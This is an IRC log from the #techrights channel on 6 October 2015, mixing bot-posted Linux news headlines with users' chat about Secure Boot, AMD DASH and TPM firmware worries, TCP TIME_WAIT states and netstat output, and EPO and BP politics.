TweetTuxMachines	(www.tuxmachines.org)	Oct 06 13:46
TweetTuxMachines	........................................ http://ur1.ca/nxjl7	Oct 06 13:46
-TechrightsBot-tr/#techrights-techrights.org \| Media Reports Based on New Patents Suggest That Microsoft Continues to Attack Google and Android/Linux, Trying to Tax and Delete Android \| Techrights		Oct 06 13:46
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Today in Techrights \| Tux Machines		Oct 06 13:46
TweetTuxMachines	@tuxmachines Three Cheers to Randa 2015 and Mario	Oct 06 13:54
TweetTuxMachines	http://t.co/YpAST2X8PT	Oct 06 13:54
TweetTuxMachines	(alltypesofhacking.blogspot.com)	Oct 06 13:54
-TechrightsBot-tr/#techrights-alltypesofhacking.blogspot.com \| dreams are meant to be true: Three Cheers to Randa 2015 and Mario		Oct 06 13:54
TweetTuxMachines	........................................ http://ur1.ca/nxjol	Oct 06 13:54
TweetTuxMachines	@tuxmachines Red Hat eyes app platform leader with Samsung	Oct 06 13:55
TweetTuxMachines	https://t.co/ZuIdOfXXda (www.koreatimes.co.kr)	Oct 06 13:55
TweetTuxMachines	........................................ http://ur1.ca/nxjom	Oct 06 13:55
-TechrightsBot-tr/#techrights-www.koreatimes.co.kr \| Red Hat eyes app platform leader with Samsung		Oct 06 13:55
TweetTuxMachines	@tuxmachines KDE Ships Plasma 5.4.2, bugfix Release for	Oct 06 13:55
TweetTuxMachines	October https://t.co/l9DhNZd10l (dot.kde.org)	Oct 06 13:55
TweetTuxMachines	........................................ http://ur1.ca/nxjon	Oct 06 13:55
-TechrightsBot-tr/#techrights-dot.kde.org \| KDE Ships Plasma 5.4.2, bugfix Release for October \| KDE.news		Oct 06 13:55
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schestowitz	https://twitter.com/2E0EOL/status/651455154244427776]	Oct 06 13:57
-TechrightsBot-tr/#techrights-@2E0EOL: @schestowitz Saying "Bye forever" is nothing new on the internet. She said she doesn't want to work "professionally with", but it's FOSS!		Oct 06 13:57
msb_	About a week ago I started getting about 5 telemarketer calls a day. I signed up for this free service, which only works for VOIP phones like Comcast, and so far it has stopped 50% of them. https://www.nomorobo.com/ Nomorobo is currently supported on these VoIP carriers: AT&T U-Verse, Astound Broadband, BroadVoice/PhonePower, Cablevision/Optimum, Comcast, Sonic, SureWest, Time Warner, Ooma Premier, Verizon FiOS, Voipo, Voip.ms,	Oct 06 14:00
-TechrightsBot-tr/#techrights-www.nomorobo.com \| Stop robocalls and telemarketers with Nomorobo		Oct 06 14:00
msb_	Vonage, 1-Voip, and Wave Broadband.	Oct 06 14:00
msb_	It works when you set up your phone carrier to ring nomorobo's phone as well as yours. It checks the caller-ID against its database, and hangs up the call if it finds a match. It only works on calls with a full 10-digit callerID number.	Oct 06 14:03
msb_	So if the phone only rings once or twice, you can ignore it.	Oct 06 14:05
TweetTuxMachines	@tuxmachines System76 Is Launching Skylake Computers Powered	Oct 06 14:07
TweetTuxMachines	by Ubuntu, Become a Superfan	Oct 06 14:07
TweetTuxMachines	http://t.co/59leW0G2fM (news.softpedia.com)	Oct 06 14:07
TweetTuxMachines	........................................ http://ur1.ca/nxjuc	Oct 06 14:07
-TechrightsBot-tr/#techrights-news.softpedia.com \| System76 Is Launching Skylake Computers Powered by Ubuntu, Become a Superfan - Softpedia		Oct 06 14:07
TweetTuxMachines	@tuxmachines SteamOS Now Based on Debian 8.2 and Fully	Oct 06 14:07
TweetTuxMachines	Supports Xbox 360 and Xbox One Controllers	Oct 06 14:07
TweetTuxMachines	http://t.co/UkdHE3Pige (news.softpedia.com)	Oct 06 14:07
TweetTuxMachines	........................................ http://ur1.ca/nxjud	Oct 06 14:07
-TechrightsBot-tr/#techrights-news.softpedia.com \| SteamOS Now Based on Debian 8.2 and Fully Supports Xbox 360 and Xbox One Controllers - Softpedia		Oct 06 14:07
TweetTuxMachines	@tuxmachines Why a penguin? Recapping a slice of Linux	Oct 06 14:08
TweetTuxMachines	history http://t.co/JjwDbcrp8U (certmag.com)	Oct 06 14:08
TweetTuxMachines	"Linux is a surprisingly successful operating	Oct 06 14:08
TweetTuxMachines	system."	Oct 06 14:08
TweetTuxMachines	........................................ http://ur1.ca/nxjug	Oct 06 14:08
-TechrightsBot-tr/#techrights-certmag.com \| Why a penguin? Recapping a slice of Linux history - CertMag		Oct 06 14:08
cubexyz	there's no doubt that Linux is successful	Oct 06 14:09
cubexyz	in some ways, it's a better desktop than the BSDs	Oct 06 14:11
cubexyz	although BSD is much closer to the original Unix and has a lot less bloat	Oct 06 14:11
*TweetTuxMachines @REALMattRichie retweeted @tuxmachines: 'Why a penguin? Recapping a slice of Linux...'		Oct 06 14:12
TweetTuxMachines	@tuxmachines Solus Is Now Using Linux Kernel 4.1.10, Lots of	Oct 06 14:12
TweetTuxMachines	Packages Updated http://t.co/8dKHOWfjvT	Oct 06 14:12
TweetTuxMachines	(news.softpedia.com)	Oct 06 14:12
-TechrightsBot-tr/#techrights-news.softpedia.com \| Solus Is Now Using Linux Kernel 4.1.10, Lots of Packages Updated - Softpedia		Oct 06 14:12
TweetTuxMachines	........................................ http://ur1.ca/nxjwg	Oct 06 14:12
cubexyz	did you hear the Linux kernel got forked?	Oct 06 14:18
cubexyz	http://linux.slashdot.org/story/15/10/06/1553233/matthew-garrett-forks-the-linux-kernel	Oct 06 14:20
XRevan86	cubexyz: Again?	Oct 06 14:20
-TechrightsBot-tr/#techrights-linux.slashdot.org \| Matthew Garrett Forks the Linux Kernel - Slashdot [ http://ur1.ca/nxk0d ]		Oct 06 14:20
XRevan86	Garrex	Oct 06 14:21
cubexyz	XRevan86, I'm not aware of any other forks	Oct 06 14:21
TweetTuxMachines	@tuxmachines Android 6.0 up close: Google Now on Tap is	Oct 06 14:23
TweetTuxMachines	almost amazing http://t.co/79kq9DZeHx	Oct 06 14:23
TweetTuxMachines	(www.computerworld.com)	Oct 06 14:23
-TechrightsBot-tr/#techrights-www.computerworld.com \| Android 6.0 up close: Google Now on Tap is almost amazing \| Computerworld		Oct 06 14:23
TweetTuxMachines	........................................ http://ur1.ca/nxk1k	Oct 06 14:23
TweetTuxMachines	@tuxmachines AMD Has More Developers Working On Their	Oct 06 14:23
TweetTuxMachines	Open-Source Driver Behind The Scenes	Oct 06 14:23
TweetTuxMachines	http://t.co/vmTLHuucv1 (www.phoronix.com)	Oct 06 14:23
TweetTuxMachines	........................................ http://ur1.ca/nxk1l	Oct 06 14:23
-TechrightsBot-tr/#techrights-www.phoronix.com \| AMD Has More Developers Working On Their Open-Source Driver Behind The Scenes - Phoronix		Oct 06 14:23
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__martin__	evade asus devices, now, even with smaller form factors	Oct 06 14:26
__martin__	preinstalled m$ bloatware by default from now on	Oct 06 14:27
__martin__	(meanwhile asatya accepts mobile os marketshare fail)	Oct 06 14:27
__martin__	(=	Oct 06 14:27
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TweetTuxMachines	@tuxmachines Media Reports Based on New Patents Suggest That	Oct 06 14:34
TweetTuxMachines	retweeted by Microsoft Continues to Attack Google and	Oct 06 14:34
TweetTuxMachines	@schestowitz Android/Linux http://t.co/8Ne07huwnm	Oct 06 14:34
TweetTuxMachines	(techrights.org)	Oct 06 14:34
TweetTuxMachines	........................................ http://ur1.ca/nxk1x	Oct 06 14:34
-TechrightsBot-tr/#techrights-techrights.org \| Media Reports Based on New Patents Suggest That Microsoft Continues to Attack Google and Android/Linux, Trying to Tax and Delete Android \| Techrights		Oct 06 14:34
TweetTuxMachines	@tuxmachines "Valerie Aurora, former kernel developer and	Oct 06 14:34
TweetTuxMachines	open source diversity champion, and leaders at	Oct 06 14:34
TweetTuxMachines	the Linux Foundation." http://t.co/b1s0QkPyvO	Oct 06 14:34
TweetTuxMachines	(www.linux.com)	Oct 06 14:34
TweetTuxMachines	........................................ http://ur1.ca/nxk79	Oct 06 14:34
-TechrightsBot-tr/#techrights-www.linux.com \| Ally Skills Training at LinuxCon 2015: Uniting All the World’s Geeks, No Exceptions \| Linux.com		Oct 06 14:34
*TweetTuxMachines @EvanRBarry favourited 'Industrial touch-panel runs Linux or Android on i.MX6...'		Oct 06 14:44
TweetTuxMachines	@tuxmachines SparkyLinux 4.1 Screencast and Screenshots	Oct 06 14:44
TweetTuxMachines	http://t.co/gYxAbHbqKZ (www.linuxquestions.org)	Oct 06 14:44
TweetTuxMachines	........................................ http://ur1.ca/nxkc4	Oct 06 14:44
-TechrightsBot-tr/#techrights-www.linuxquestions.org \| SparkyLinux 4.1 Screencast and Screenshots		Oct 06 14:44
schestowitz	https://twitter.com/FrancisJeffrey7/status/651468102291468288	Oct 06 14:46
-TechrightsBot-tr/#techrights-@FrancisJeffrey7: JUST BECAUSE ! https://t.co/z3Sf6jLpBC		Oct 06 14:46
-TechrightsBot-tr/#techrights-@schestowitz: If the West provided safe haven for fugitive Russians to have free speech and complain about USSR/Russia, why is it bad when Russia does it?		Oct 06 14:46
schestowitz	[19:26] <__martin__> evade asus devices, now, even with smaller form factors	Oct 06 14:46
schestowitz	[19:27] <__martin__> preinstalled m$ bloatware by default from now on	Oct 06 14:46
schestowitz	[19:27] <__martin__> (meanwhile asatya accepts mobile os marketshare fail)	Oct 06 14:46
schestowitz	[19:27] <__martin__> (=	Oct 06 14:46
schestowitz	Yes	Oct 06 14:46
schestowitz	We have an old tablet that's ASUS/Nexus	Oct 06 14:46
schestowitz	But I won't be buying it gain	Oct 06 14:46
schestowitz	*again	Oct 06 14:46
schestowitz	also a samsung g2	Oct 06 14:46
schestowitz	Both will have MS in future releases/products	Oct 06 14:46
schestowitz	[19:18] <cubexyz> did you hear the Linux kernel got forked?	Oct 06 14:47
schestowitz	[19:20] <cubexyz> http://linux.slashdot.org/story/15/10/06/1553233/matthew-garrett-forks-the-linux-kernel	Oct 06 14:47
-TechrightsBot-tr/#techrights-linux.slashdot.org \| Matthew Garrett Forks the Linux Kernel - Slashdot [ http://ur1.ca/nxk0d ]		Oct 06 14:47
schestowitz	BS	Oct 06 14:47
schestowitz	won't fly	Oct 06 14:47
schestowitz	just some annoying guy (I fought with him before, called him "Microsoft Apologist")	Oct 06 14:47
schestowitz	https://twitter.com/FrancisJeffrey7/status/651468806192164864	Oct 06 14:49
-TechrightsBot-tr/#techrights-@FrancisJeffrey7: @Snowden @schestowitz (1) USA bureaucrats consistently have asserted that anything they do is, A PRIORI, legal until adjudicated BY #SCOTUS.		Oct 06 14:49
cubexyz	I still think it's a good idea to run more than one operating system	Oct 06 14:57
cubexyz	just have a few secondary or tertiary computers, put chromeOS or BSD on them	Oct 06 14:59
cubexyz	or even Plan 9	Oct 06 14:59
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cubexyz	securelevel is from NetBSD I think	Oct 06 15:04
TweetTuxMachines	@tuxmachines Links 6/10/2015: Linux 4.3 RC4, HP OpenSwitch,	Oct 06 15:06
TweetTuxMachines	retweeted by Wind River Linux 8 http://t.co/6VikiKXENe	Oct 06 15:06
TweetTuxMachines	@schestowitz (techrights.org)	Oct 06 15:06
TweetTuxMachines	........................................ http://ur1.ca/nxkcc	Oct 06 15:06
TweetTuxMachines	@tuxmachines Today in Techrights http://t.co/vCwaitDSSy	Oct 06 15:06
TweetTuxMachines	retweeted by (www.tuxmachines.org)	Oct 06 15:06
-TechrightsBot-tr/#techrights-techrights.org \| Links 6/10/2015: Linux 4.3 RC4, HP OpenSwitch, Wind River Linux 8 \| Techrights		Oct 06 15:06
TweetTuxMachines	@schestowitz	Oct 06 15:06
TweetTuxMachines	........................................ http://ur1.ca/nxkfn	Oct 06 15:06
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Today in Techrights \| Tux Machines		Oct 06 15:06
cubexyz	I don't believe in the "my way or the highway" approach	Oct 06 15:07
cubexyz	interoperability is a good thing	Oct 06 15:07
cubexyz	my way or the highway is Microsoft's mantra	Oct 06 15:09
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cubexyz	did Garrett work on secure boot stuff?	Oct 06 15:15
cubexyz	ah, I see that he did	Oct 06 15:16
cubexyz	oh, mgj59 is Garrett	Oct 06 15:16
cubexyz	at least he's pro-GPL	Oct 06 15:17
TweetTuxMachines	@tuxmachines today's howtos http://t.co/uIc3biGDVY	Oct 06 15:25
TweetTuxMachines	retweeted by (www.tuxmachines.org)	Oct 06 15:25
TweetTuxMachines	@jesusguevarauto	Oct 06 15:25
TweetTuxMachines	........................................ http://ur1.ca/nxkup	Oct 06 15:25
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| today's howtos \| Tux Machines		Oct 06 15:25
TweetTuxMachines	@tuxmachines Android 6.0 up close: Google Now on Tap is	Oct 06 15:25
TweetTuxMachines	almost amazing http://t.co/eneamltAGb	Oct 06 15:25
TweetTuxMachines	(www.tuxmachines.org)	Oct 06 15:25
TweetTuxMachines	........................................ http://ur1.ca/nxkur	Oct 06 15:25
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Android 6.0 up close: Google Now on Tap is almost amazing \| Tux Machines		Oct 06 15:25
TweetTuxMachines	@tuxmachines Solus Is Now Using Linux Kernel 4.1.10, Lots of	Oct 06 15:26
TweetTuxMachines	Packages Updated http://t.co/TEOv4Js0Fn	Oct 06 15:26
TweetTuxMachines	(www.tuxmachines.org)	Oct 06 15:26
TweetTuxMachines	........................................ http://ur1.ca/nxkuu	Oct 06 15:26
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Solus Is Now Using Linux Kernel 4.1.10, Lots of Packages Updated \| Tux Machines		Oct 06 15:26
TweetTuxMachines	@tuxmachines Why a penguin? Recapping a slice of Linux	Oct 06 15:26
TweetTuxMachines	history http://t.co/4M5oSb7Y7V	Oct 06 15:26
TweetTuxMachines	(www.tuxmachines.org)	Oct 06 15:26
TweetTuxMachines	........................................ http://ur1.ca/nxkuw	Oct 06 15:26
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Why a penguin? Recapping a slice of Linux history \| Tux Machines		Oct 06 15:26
TweetTuxMachines	@tuxmachines AMD Has More Developers Working On Their	Oct 06 15:26
TweetTuxMachines	Open-Source Driver Behind The Scenes	Oct 06 15:26
TweetTuxMachines	http://t.co/etmdUasPQA (www.tuxmachines.org)	Oct 06 15:26
TweetTuxMachines	........................................ http://ur1.ca/nxkux	Oct 06 15:26
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| AMD Has More Developers Working On Their Open-Source Driver Behind The Scenes \| Tux Machines		Oct 06 15:26
TweetTuxMachines	@tuxmachines Ally Skills Training at LinuxCon 2015: Uniting	Oct 06 15:26
TweetTuxMachines	All the World’s Geeks, No Exceptions	Oct 06 15:26
TweetTuxMachines	http://t.co/8NCOQOgMIV (www.tuxmachines.org)	Oct 06 15:26
TweetTuxMachines	........................................ http://ur1.ca/nxkuy	Oct 06 15:26
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cubexyz	long story short: you don't really want secure boot	Oct 06 15:32
cubexyz	Microsoft controls the master key	Oct 06 15:32
cubexyz	I don't want to have to disable secure boot	Oct 06 15:34
cubexyz	I don't want the secure boot firmware at all	Oct 06 15:34
cubexyz	also: "Programmatic disabling of secure boot either during boot services after exiting EFI Boot services must NOT be possible on ARM systems"	Oct 06 15:38
cubexyz	Microsoft could pull the carpet out from under you can any time	Oct 06 15:42
schestowitz	https://twitter.com/AJimenez1988/status/651479100910096384 https://twitter.com/AJimenez1988/status/651481904185741316	Oct 06 15:44
-TechrightsBot-tr/#techrights-@AJimenez1988: @schestowitz Same as boycotting Brendan Eich was not about "gay rights" but about DRM.		Oct 06 15:44
-TechrightsBot-tr/#techrights-@AJimenez1988: @schestowitz Yeah, opium, lithium and the Great Game were completely unintended side perks.		Oct 06 15:44
cubexyz	so then what happened later?	Oct 06 15:49
cubexyz	Microsoft announced that Windows 10 will not require manufacturers to include an option to turn off UEFI	Oct 06 15:49
cubexyz	tightening the screws	Oct 06 15:49
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cubexyz	TCP/IP port lingering? A microsoft invention	Oct 06 15:55
msb_	cubexyz: The alternative, for people who want a 3 times faster, 8 core cpu, is to use an AMD FX-8350 and an ASUS 990FX R2.0 mobo in which secure boot can be turned off permanently. The cpu and mobo each cost $180. The DASH intrusion system in the cpu (or AMT intrusion system in an Intel cpu) is defeated by an external custom deep-packet-inspection router that deletes all DASH packets. The router can also send specific DASH packets to	Oct 06 16:06
msb_	tie up the DASH system. Hopefully the router can be a Raspberry Pi or the like.	Oct 06 16:06
schestowitz	http://ipkitten.blogspot.co.uk/2015/10/epo-bids-to-save-litigating-employees.html	Oct 06 16:07
-TechrightsBot-tr/#techrights-ipkitten.blogspot.co.uk \| The IPKat: EPO bids to save litigating employees from union's human rights infractions [ http://ur1.ca/nxldc ]		Oct 06 16:08
schestowitz	"	Oct 06 16:08
schestowitz	That is really topping up everything which came up to now.	Oct 06 16:08
schestowitz	When a national court issues a decision which displeases the President, then it is to be ignored, as national law is not applicable to EPO. Now, national law is good and should be respected.	Oct 06 16:08
schestowitz	Have those two VP no sense of shame, especially VP5 which is a legally qualified person (or merely thinks he is one)?	Oct 06 16:08
schestowitz	More hypocrisy is difficult to overthrow.	Oct 06 16:08
schestowitz	Poor EPO with such "leaders and managers".	Oct 06 16:08
schestowitz	Mao said it a long time ago: the fish stinks from head.....How true	Oct 06 16:08
schestowitz	"	Oct 06 16:08
schestowitz	rots from the head	Oct 06 16:08
schestowitz	"Any thoughts of guilt, any feelings of regret, has faded. BB has baked the VP’s out. "	Oct 06 16:08
schestowitz	"	Oct 06 16:08
schestowitz	Isn't it the EPO who locks up "suspects", sorry, the "guilty" for hours on end for "questioning", in a setting reminiscent of the opening scene of "Das Leben der Anderen", without any kind of assistance? And the same EPO that threatens them with unspeakable things should they either keep silent before their tormentors, or mention their ordeal to anyone?	Oct 06 16:08
schestowitz	I can't see in this text anything but a lame attempt for the EPO to create a flimsy excuse to refuse to interact with any counsel the staff member may have retained.	Oct 06 16:08
schestowitz	The paternalistic suggestion that a staff member get counseling with the EPO's very own legal department [?] that is responsible for the present mess, is astounding, but the situation is so far out that I ran out of rage and indignation.	Oct 06 16:08
schestowitz	"	Oct 06 16:08
schestowitz	https://twitter.com/Ellen_Timmer/status/651489417929064448	Oct 06 16:10
-TechrightsBot-tr/#techrights-@Ellen_Timmer: @schestowitz @meneer Moet je wel #NoScript e.d. aan zetten		Oct 06 16:11
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msb_	schestowitz: What you are describing is a system designed by and for psychopaths. This is the norm for Western governments and corporations. Here's a video about it, called...I am Fishead! https://www.youtube.com/watch?v=bcRRZsag0Io	Oct 06 16:18
-TechrightsBot-tr/#techrights-www.youtube.com \| I Am Fishead Are Corporate Leaders Egotistical Psychopaths ) - YouTube [ http://ur1.ca/nxlhq ]		Oct 06 16:18
msb_	schestowitz: Full-blown psychopaths are not human, not people. Their hardware is human, but their software is anti-human, predatory. It may help to think of them as insectoids. Rage and indignation have no effect on them (except maybe to afford them some enjoyment at the suffering of their victim). Those emotions were evolved to have an effect on people that have harmed us. Psychopaths are not people. Getting angry at them is	Oct 06 16:30
msb_	counterproductive. Instead, just focus your effort on defeating them. You wouldn't get angry at a shark chasing you, or a boulder rolling down a mountain toward you, right? Because these things aren't human.	Oct 06 16:30
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TweetTuxMachines	@tuxmachines IBM releases Power-based Linux servers with	Oct 06 16:41
TweetTuxMachines	Nvidia GPUs http://t.co/MydG1qiwjD	Oct 06 16:41
TweetTuxMachines	(www.theinquirer.net)	Oct 06 16:41
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TweetTuxMachines	@tuxmachines What Are Linux Meta-packages?	Oct 06 16:42
TweetTuxMachines	http://t.co/30nx7D2Ejg (freedompenguin.com)	Oct 06 16:42
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TweetTuxMachines	@tuxmachines Displaylink adds Linux support for USB monitors	Oct 06 16:42
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TweetTuxMachines	@tuxmachines Android 6.0 Marshmallow Review: Google	Oct 06 16:44
TweetTuxMachines	Outsmarts Apple By Guessing Your Next Move	Oct 06 16:45
TweetTuxMachines	http://t.co/MZenJbejQP (www.wsj.com)	Oct 06 16:45
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-TechrightsBot-tr/#techrights-www.wsj.com \| Android 6.0 Marshmallow Review: Google Outsmarts Apple By Guessing Your Next Move - WSJ		Oct 06 16:45
TweetTuxMachines	@tuxmachines Slackel Linux: Not Your Father's Slackware	Oct 06 16:45
TweetTuxMachines	http://t.co/NIOLKt3hht (www.linuxinsider.com)	Oct 06 16:45
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-TechrightsBot-tr/#techrights-www.linuxinsider.com \| Slackel Linux: Not Your Father's Slackware \| Reviews \| LinuxInsider		Oct 06 16:45
TweetTuxMachines	@tuxmachines IBM releases Power-based Linux servers with	Oct 06 16:45
TweetTuxMachines	Nvidia GPUs http://t.co/w1v1OgnMz6	Oct 06 16:45
TweetTuxMachines	(www.tuxmachines.org)	Oct 06 16:45
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TweetTuxMachines	@tuxmachines Red Hat News http://t.co/6xsktSYcKA	Oct 06 16:45
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TweetTuxMachines	@tuxmachines Android 6.0 Marshmallow Review: Google	Oct 06 16:45
TweetTuxMachines	Outsmarts Apple By Guessing Your Next Move	Oct 06 16:45
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TweetTuxMachines	@tuxmachines Slackel Linux: Not Your Father's Slackware	Oct 06 16:45
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msb_	RT Excellent show Watching the Hawks. BP fined $20billion for totally negligent Deepwater Horizon spill. But the DOJ is allowing BP to write off $15billion of it on their taxes!!!	Oct 06 18:05
MinceR	bailout? :>	Oct 06 18:11
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msb_	It shows who controls the US govt -- the ultra-wealthy and their corporations. During the spill the govt environment agency insisted there was no oil on the ocean floor. But movies taken from a mini-sub showed the bottom was covered with a thick layer of oil plus extremely toxic dispersant, shown on US TV. The bottom is where shrimp and some fish spend half their lives, and shrimp are showing up with no eyes and horrible tumors. The	Oct 06 18:31
msb_	people of the Gulf are still suffering, but BP is bailed out by the US govt.	Oct 06 18:31
msb_	This is _not_ democracy.	Oct 06 18:32
MinceR	on some level, it indeed isn't. and it's up to you the people to fix that.	Oct 06 18:34
MinceR	via election reform, campaign finance reform, etc.	Oct 06 18:34
msb_	Bernie Sanders for President, and Larry Lessig for Vice President!	Oct 06 18:39
MinceR	the other way around	Oct 06 18:40
cubexyz	stallman is putting the smack-down on spotify	Oct 06 18:40
MinceR	Larry will step down once he's done anyway	Oct 06 18:40
cubexyz	naturally spotify has DRM and snooping	Oct 06 18:40
MinceR	he needs to put the smackdown on cancerd	Oct 06 18:41
cubexyz	"out, out damned spotify" :)	Oct 06 18:41
MinceR	:)	Oct 06 18:42
cubexyz	well, that's why I keep talking about BSD	Oct 06 18:42
cubexyz	no perfect solution	Oct 06 18:42
msb_	cubexyz: What is port lingering and why is it bad?	Oct 06 18:42
msb_	Is it like port loitering near a schoolyard dressed only in a raincoat?	Oct 06 18:44
cubexyz	just a sec...	Oct 06 18:45
cubexyz	ok	Oct 06 18:45
cubexyz	There are fears that Microsoft uses the "TIM_WAIT" state after a disconnect	Oct 06 18:46
cubexyz	one needs to read up on gethostbyname and windows sockets	Oct 06 18:46
cubexyz	not sure what software uses it	Oct 06 18:47
cubexyz	so NSA could use it as a way in on Linux, not just Windows	Oct 06 18:47
msb_	So it's not a problem for Linux?	Oct 06 18:47
cubexyz	not really sure to tell you the truth	Oct 06 18:48
cubexyz	it's possible that gethostbyname uses windows sockets, I'm not sure yet	Oct 06 18:48
MinceR	i thought unix did TIME_WAIT too	Oct 06 18:50
MinceR	http://superuser.com/questions/173535/what-are-close-wait-and-time-wait-states	Oct 06 18:50
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cubexyz	yeah, this guy who wrote this could be a bit paranoid	Oct 06 18:52
cubexyz	but he seems knowledgeable	Oct 06 18:52
cubexyz	he's saying that every tcp/ip port is lingering in TIM_WAIT state after disconnecting	Oct 06 18:53
MinceR	afaik there are good reasons for it, but iirc it can indeed be troublesome if one's developing network applications	Oct 06 18:53
MinceR	(you want to restart your server on the same port, but that port's still blocked for the sake of the previous connection)	Oct 06 18:53
msb_	Never reboot!	Oct 06 18:54
MinceR	lol	Oct 06 18:54
MinceR	i meant the server program	Oct 06 18:54
cubexyz	if you do a "netstat -a" it will probably show a bunch of ports in the TIME_WAIT state	Oct 06 18:54
cubexyz	looks like https stuff mostly	Oct 06 18:55
MinceR	http://developerweb.net/viewtopic.php?id=2941	Oct 06 18:55
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cubexyz	it's still a good idea to check your ports though	Oct 06 18:57
msb_	Yikes! I have 417 connections!	Oct 06 18:57
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msb_	72 of them involving X11. What is X doing connected to the network?	Oct 06 19:00
msb_	Are there 72 NSA guys looking at my screen?	Oct 06 19:01
msb_	I should demand a salary for educating them!	Oct 06 19:02
MinceR	via tcp or via unix domain sockets?	Oct 06 19:03
cubexyz	do you use X11 forwarding?	Oct 06 19:03
msb_	Unix, and no.	Oct 06 19:04
MinceR	that	Oct 06 19:04
MinceR	that's normal	Oct 06 19:04
MinceR	those are local connections	Oct 06 19:04
MinceR	x was designed to work over the network from the beginning, so local x clients normally connect via unix domain sockets	Oct 06 19:04
cubexyz	try netstat --protocol=inet	Oct 06 19:05
msb_	Thanks!	Oct 06 19:05
msb_	Only 7 of those.	Oct 06 19:06
msb_	cubexyz: So in my 8-core fast computer solution, is the only thing I have to worry about secret backdoors in the BIOS?	Oct 06 19:09
cubexyz	well I wouldn't say it's the only thing	Oct 06 19:09
msb_	What else?	Oct 06 19:09
cubexyz	router hacks	Oct 06 19:09
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msb_	It would be a router that I wrote, and talk to via a serial line.	Oct 06 19:10
cubexyz	which router is that?	Oct 06 19:11
msb_	One running on a RPi or similar SBC.	Oct 06 19:11
cubexyz	well, that sounds better than what most people use	Oct 06 19:12
msb_	It would treat incoming and outgoing packets only as data, not commands.	Oct 06 19:12
msb_	Hopefully the command packet protocol for DASH is available from AMD, since corporations use it. Not a govt secret.	Oct 06 19:13
cubexyz	it's just possibility of an attack vector	Oct 06 19:14
cubexyz	not likely, but possible	Oct 06 19:15
msb_	Seems like a very high probability the govt could use it to attack.	Oct 06 19:15
msb_	Why not likely?	Oct 06 19:15
msb_	Total control. Just what the govt wants.	Oct 06 19:15
cubexyz	monitoring yes, attacks probably not	Oct 06 19:16
MinceR	can't you disable DASH from bios/uefi?	Oct 06 19:16
msb_	They could flash my screen in Alpha and make me crave fresh brains!	Oct 06 19:16
TweetTuxMachines	@tuxmachines Displaylink adds Linux support for USB monitors	Oct 06 19:17
TweetTuxMachines	http://t.co/KgHMenS5S4 (www.tuxmachines.org)	Oct 06 19:17
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-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Displaylink adds Linux support for USB monitors \| Tux Machines		Oct 06 19:17
TweetTuxMachines	@tuxmachines Five million Raspberry Pi’s is a Sony UK	Oct 06 19:17
TweetTuxMachines	success story http://t.co/ilzaz05CB2	Oct 06 19:17
TweetTuxMachines	(www.electronicsweekly.com)	Oct 06 19:17
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-TechrightsBot-tr/#techrights-www.electronicsweekly.com \| Five million Raspberry Pi's is a Sony UK success story \| Electronics Weekly		Oct 06 19:17
TweetTuxMachines	@tuxmachines The ZFS File System Will Be Included in Ubuntu,	Oct 06 19:17
TweetTuxMachines	Says Mark Shuttleworth http://t.co/Fdpmtt5dxe	Oct 06 19:17
TweetTuxMachines	(www.tuxmachines.org)	Oct 06 19:17
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-TechrightsBot-tr/#techrights-www.tuxmachines.org \| The ZFS File System Will Be Included in Ubuntu, Says Mark Shuttleworth \| Tux Machines		Oct 06 19:17
cubexyz	that's just it, without the BIOS/UEFI source code, you don't really know if you can turn it off	Oct 06 19:18
cubexyz	it's not really the NSA I fear here, but the black hat hackers	Oct 06 19:18
cubexyz	people who vandalize computers online for no good reason	Oct 06 19:19
msb_	The ASUS 990FX mobo manual doesn't mention DASH.	Oct 06 19:20
cubexyz	not all motherboards have it	Oct 06 19:21
msb_	Does DASH need to be turned on by the mobo in order to work? Or is it turned on by default, waiting for a command packet, ready to loot and maim. And take revenge, Morbius, and kill!	Oct 06 19:26
cubexyz	the motherboard vendor should tell you if DASH is supported	Oct 06 19:26
cubexyz	it's even considered a selling feature for some	Oct 06 19:26
MinceR	murder death kill!	Oct 06 19:26
cubexyz	you can imagine all the replies I got when I asked the major vendors for BIOS source code :)	Oct 06 19:27
msb_	Forbidden Planet, still perhaps the greatest sci-fi movie ever made!	Oct 06 19:27
msb_	Er, zero? Maybe -1?	Oct 06 19:28
cubexyz	yeah no replies	Oct 06 19:28
tessier	schestowitz: https://www.youtube.com/watch?v=OeHjN4oWVfk I was never into gaming but apparently MS screwed over gamers plenty.	Oct 06 19:29
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cubexyz	once you see stuff like TPM 1.2 controller onboard...	Oct 06 19:31
XFaCE	cubexyz: DASH?	Oct 06 19:36
cubexyz	https://en.wikipedia.org/wiki/Desktop_and_mobile_Architecture_for_System_Hardware	Oct 06 19:37
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msb_	MS screws everybody over. Why should gamers be any different?	Oct 06 19:42
cubexyz	chromebook's got TPM as well	Oct 06 19:44
cubexyz	but with chromebook you can switch to developer mode, so there's no problem changing the firmware	Oct 06 19:45
msb_	https://en.wikipedia.org/wiki/Trusted_Platform_Module#Criticism	Oct 06 19:48
-TechrightsBot-tr/#techrights-en.wikipedia.org \| Trusted Platform Module - Wikipedia, the free encyclopedia [ http://ur1.ca/nxnz9 ]		Oct 06 19:48
msb_	Is there a list of all these dirty intrusion methods? Is it finite? At least countably infinite?	Oct 06 19:50
cubexyz	know your OS, know your firmware	Oct 06 20:09
cubexyz	there's only so many ways in	Oct 06 20:09
msb_	Yeah, about 40 million, unless you read, understand and check every instruction in the firmware. And the CPU and its internal microprocessor and its firmware.	Oct 06 20:50
msb_	There are hundreds of engineers involved in designing those things. How long will it take for a single person to check them all out?	Oct 06 20:51
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cubexyz	it's not as bad as you might think	Oct 06 21:03
cubexyz	some of my motherboards have 512K or even 256K firmware	Oct 06 21:03
cubexyz	plus with coreboot you know what's in there	Oct 06 21:03
cubexyz	I'm always checking things	Oct 06 21:06
cubexyz	things like this:	Oct 06 21:07
